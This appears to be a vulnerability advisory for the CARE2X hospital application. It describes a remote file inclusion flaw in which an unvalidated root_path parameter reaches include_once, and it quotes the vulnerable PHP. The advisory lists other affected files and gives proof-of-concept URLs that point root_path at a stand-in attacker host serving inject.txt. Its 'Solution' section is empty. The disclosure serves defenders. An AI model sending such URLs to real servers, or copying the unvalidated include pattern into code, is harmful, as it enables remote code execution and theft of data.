Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CARE2X

Vulnerability:
~~~~~~~~~~~~~

- Invalid include_once function at include/inc_checkdate_lang.php
-----------------------include/inc_checkdate_lang.php------------

<?
if(file_exists($root_path."language/$lang/lang_".$lang."_checkdate.php")
) include_once($root_path."language/$lang/lang_".$lang."_checkdate.php");
else include_once($root_path."language/en/lang_en_checkdate.php");
if(file_exists($root_path."language/$lang/lang_".$lang."_date_time.php")
) include_once($root_path."language/$lang/lang_".$lang."_date_time.php");
else include_once($root_path."language/en/lang_en_date_time.php");
?>

----------------------------------------------------------

Input passed to the "$root_path" parameter in inc_checkdate_lang.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

include/inc_charset_fx.php
include/inc_config_color.php
include/inc_currency_set.php
include/inc_db_makelink.php
include/inc_diagnostics_report_fx.php
include/inc_environment_global.php
include/inc_front_chain_lang.php
include/inc_init_crypt.php
include/inc_load_copyrite.php
include/inc_news_save.php
main/barcode-labels.php
main/chg-color.php
main/config_options_gui_template.php
main/config_options_mascot.php
main/diagnostics-report-index.php

and More ....

Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://

http://localhost/care2x/include/inc_news_save.php?root_path=http://atack
er.com/inject.txt?
http://localhost/care2x/main/diagnostics-report-index.php?root_path=http
://atacker.com/inject.txt?
http://localhost/care2x/main/config_options_mascot.php?root_path=http://
atacker.com/inject.txt?

Solution:
